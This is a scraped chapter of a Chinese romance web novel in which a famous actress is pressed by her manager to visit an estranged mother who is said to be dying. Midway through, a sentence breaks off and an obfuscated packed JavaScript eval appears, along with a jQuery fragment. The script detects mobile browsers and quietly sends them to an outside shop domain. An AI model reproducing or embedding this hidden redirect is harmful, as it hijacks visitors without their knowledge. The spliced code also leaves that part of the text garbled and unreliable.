文趣网 > 都市小说 > 炽热缠绵 > 3. 想要一个答案
    “辛迟,今天不是愚人节...”

    辛迟语气沉重:“南絮,我没和你开玩笑。”

    沈南絮面上的笑容以肉眼可见的速度僵住,她看了眼辛迟,又看了眼筱乐,最后把视线定格在辛迟背后的那部手机上,灼热的仿佛要将那手机盯出个窟窿出来。她不知道为什么,心里好像蒙上了一层厚重的薄雾,明明那手机近在咫尺,她却不敢开口让辛迟拿过来,明明只需要看上一眼,她就能确认消息的真假。

    可她不敢。她害怕了。

    她比谁都知道这件事辛迟不敢开玩笑。她怔怔的轻笑出来:“辛迟,你知道的,我没妈。”

    辛迟讷讷的说不出话来,她想说些什么,哪怕是安慰的话也行,可嘴巴就好像黏住一样,张不开来,她清楚沈南絮这句话是什么意思,也清楚这条消息对沈南絮来说意味着什么。

    沈南絮收起笑容,她从筱乐身侧的座椅上拿起一沓行程计划表,若无其事的翻开来。安静的车内很快就只剩下纸张翻开的沙沙声,那条她们缄口不言的消息仿佛就这样被遗弃在这些沙沙碎声中。

    辛迟不说话,筱乐是万万没胆子再开口的,直到前面司机敲响了挡板,这场无声的安静才彻底结束。

    车子停在一幢静谧的小洋楼前,沈南絮拉开车门下车,筱乐见状想跟着下来,被她抬手制止,夜色太黑,小楼前的灯光昏黄,逆着光线筱乐看不清沈南絮的表情。车门被关上,沈南絮的背影也随着她抬手关门的动作被隔绝在外。

    车子重新启动,辛迟这才收回看向车窗外的视线,她脸上镇定表情和沈南絮如出一辙,仿佛刚才的事情没发生过一样,淡定的和筱乐对着刚才在车里没对完的行程计划。

    而那部工作室的手机早在她手里被按下了关机键,亮着的屏幕瞬间就陷入黑暗中,无法让人再去探寻上面究竟有着什么无法告知的秘密。

    沈南絮站在原地,她低下头机械般的看着手上拿着的那沓行程计划表,夜风吹来,纸张哗哗作响,清脆的声音将她一下子带回现实,她眨眼看了几秒后才重新醒悟过来,抬脚往小楼里走。

    或许是在剧组待久了,沈南絮一时间还无法适应回来的时差,她翻身坐起,目光沉沉的盯着卧室角落某一处,未开灯的房间昏暗,什么都看不见,她也不知道自己究竟在看什么,明明身体已经累到极致,可躺下后仍是无法安然入睡。

    她不想把这一切都归于那条消息。

    可失败了。

    沈南絮披上衣服叹了口气开灯下床,外面的天黑沉沉的,零星几颗残星不甚作用的挂在天上,她靠坐在椅子上,遥遥抬头望去。突然想起现在还是她的生日,多么讽刺啊,为什么偏偏要在她生日当天给她找不痛快。

    为什么偏偏是今天!

    她问自己多久了?久到她自己都快忘记原来还有个妈妈,原来她还有个妈妈呀。沈南絮想笑,甚至努力回忆着脑海里关于妈妈的所有,可时间真的太久了,她好像轻而易举的就忘记了那个女人的模样。

    突兀的电话铃声在此刻响起,沈南絮疲惫的看一眼手机屏幕,心知肚明的接起电话,语气不算太好:“有事?”

    “猜到你会失眠。”

    沈南絮从椅子上站起来,俯趴在栏杆上往下望。楼下的地灯开着,照亮了一小片光秃秃毫无生机的草坪,她骂道:“那你还猜到什么?”

    电话那头的辛迟也笑了一声,随即低声警告:“把烟灭了。”

    沈南絮看向自己指尖忽明忽暗的那点猩红,暗骂了一声,气定神闲的回道:“你知道的,我对烟味过敏。”

    辛迟戳穿她:“嗯,你对别人抽烟过敏,自己不会。”

    沈南絮哑然,将手里的烟灭掉,理直气壮的说:“确实没抽,只是点来闻一闻。”她没说谎话,她对烟味过敏是真,说自己没抽烟也是真,她本就没有烟瘾,只是在心烦意乱的时候会点一根,闻着尼古丁的味道,短暂的放空自己。

    辛迟也不知道信没信,她也没揪着这个事情不放,她知道沈南絮有分寸。

    两人都没出声,周围又安静了下来。那股安静让沈南絮感觉烦躁,像是有什么预感一样,也像是猜到辛迟在酝酿着什么话,她不客气的说:“没什么话我挂了。”

    “等等!”辛迟出声阻止。

    可还是迟了。电话那头已经传来了嘟嘟嘟的挂机音,沈南絮先她一步把电话挂了。

    “啧,脾气怎么还是这么臭。”辛迟自言自语吐槽,只是静默几秒后还是将屏幕切换至微信,随后下定某种决心,反复掂量后将相册里的一张截图发给了沈南絮。

    挂断电话的沈南絮刚抬脚要进房间就收到了辛迟发来的微信消息,她预感不想点开来看,可手指不听使唤,鬼使神差的点开了那条消息。车上的对话再次涌入脑中,辛迟那句“发消息的人自称是你母亲。”如一把迟来的钝器迎面敲打在她头上,沈南絮顿觉头痛欲裂。

    手机微亮的光芒照在她苍白的脸颊上,借着那点亮光她避无可避的看清了那张截图完整内容。

    她身子晃了晃,猛地闭上眼睛,低头冷笑一声,嘲讽道:“真好,还是不愿意放过我!”

    隔天一大早沈南絮是被吵醒的,筱乐诚惶诚恐的敲响了房间门:“南絮姐,你起了吗?”

    沈南絮本就睡的晚,被吵醒后被激起起床气,没好气的出声警告:“筱乐,你最好是有事情!”

    筱乐身子抖了抖,小心谨慎的答话:“迟姐说下午有个采访。”

    沈南絮在脑中过滤了一下行程,不记得今天有安排工作,她烦躁的睁开眼睛。

    房间门猛地打开,筱乐赔着笑,哄道:“南絮姐,你先去洗漱,东西我帮你收。”

    沈南絮揉乱头发,还是问:“我不记得今天有采访?”

    筱乐心虚眼神飘忽,顿了顿才回答:“迟姐说是临时约的。”好在沈南絮处在醒觉的阶段,并没有发现她的异常。

    “哦。”沈南絮实在没什么精神,踩着拖鞋进去卫生间洗漱,等洗完澡出来后筱乐已经在楼下等着她了。她换了身衣服,墨镜口罩鸭舌帽戴好才下楼,她脸小,墨镜一架几乎就遮挡住了大半张脸,筱乐也无从看清她脸上的情绪,对于昨晚的事情她更是心知肚明的不去张口。

    沈南絮把手里的背包递给她,瞥了眼车子,抬起下巴点了点:“辛迟呢?”

    筱乐打开后备箱将背包放进去,听见沈南絮问她时结巴道:“迟姐...迟姐说今天有事情...”

    “呵!”沈南絮没再说什么,打开车门坐进去,一夜未

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17892756|212790||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    得好眠,她上车后就闭起眼睛浅眠,丝毫没注意到身旁筱乐的紧绷,也没注意到车子并未朝着她熟悉的地方开去。等她再次睁开眼时,原本坐她旁边的筱乐已经换成了辛迟。

    她睡眼惺忪,眨了眨眼,迷茫的看了辛迟一眼,随后摇开车窗看向外面,不远处站着的筱乐正忐忑紧张的看着这边,见她望过来时心虚的笑了笑。

    “这是什么意思?”

    沈南絮关上车窗,转身去看身侧的人。

    辛迟从包里拿出一张机票递了过去,叹了口气劝道:“南絮,去看看吧。”

    沈南絮视线往下,看向她拿着机票伸过来的那只手,突然就想起只手遮天这个成语。

    “辛总这是替我做好决定了?”

    她语气是少见的讥讽,压抑的怒火让她再也无法忍受,伸手将那张机票夺过,然后毫不犹豫的从中间撕开,撕碎的纸屑从两人中间散开,掉在黑色的脚垫上。

    无声的对峙在车里蔓延开来。

    黑色的车子低调的停在机场的停车场内,不时有路过的旅人谈笑着从车旁经过,谁也想不到此刻车子内坐着的是大明星沈南絮。

    辛迟神色挣扎片刻,先一步妥协,她弯腰将沈南絮撕掉的飞机票一点点捡起,脸上一副了然,似乎是早料到她会这样做。

    “南絮,别骗自己了,你逃避不了。这个心结在你心里压了那么久早就和你身体融为一体了,它不会消失只会越来越大。”辛迟自顾自的说着,她无法保证她说的这些沈南絮能听进去,但她了解沈南絮,更加知道这个心结对沈南絮来说意味着什么。

    “你后面的行程我已经空出来了,你有十天的时间。”这也是她昨晚把那张截图发给沈南絮的原因,她本想让沈南絮看过之后自己做决定,可身为她的朋友她还是自作主张的替她做了决定。她不想她留下遗憾。

    “这么多年你想要的不就是一个答案吗?”

    沈南絮只是定定的看着辛迟,那双眼眸更多的是一种看不懂的复杂情绪,在辛迟说完后全部转化为戾气。

    “辛迟,你倒是为我着想!”她咬着牙一字一句问:“十天时间够吗?你何不再大方一点,一个月?两个月?或者我直接退出演艺圈......”

    “沈南絮!”

    辛迟瞪大眼睛,不可置信的看着她满嘴胡话。

    “真没意思。”沈南絮笑了笑,只是那笑在她脸上更像是强颜欢笑。她撇开头不去看辛迟,可昨晚那张截图还是无法克制的出现在她脑海里,上面的每一句话,每一个字都好像烙印一样镌刻在她记忆里,无法剔除。

    那样的言辞恳求,那样的懦弱期盼,每一个字都透露出一个舍不得孩子可怜母亲的卑微希冀。

    她只觉得好笑,若不是知道写下那段话的人是谁,她都险些被打动了。

    那个女人病了?甚至到了快死的地步?就算过去这么多年她再怎么恨,也从没有想过死亡会出现在那个女人身上,她不相信,她不相信那个女人是真的病了。

    不知道过去多久,她终于妥协的伸出手,她终究做不出像她以为的那样狠心。

    “三天时间足够了。像你说的,这个答案我亲自去问。”

    至少,她要去问个明白,当年为什么要离她而去。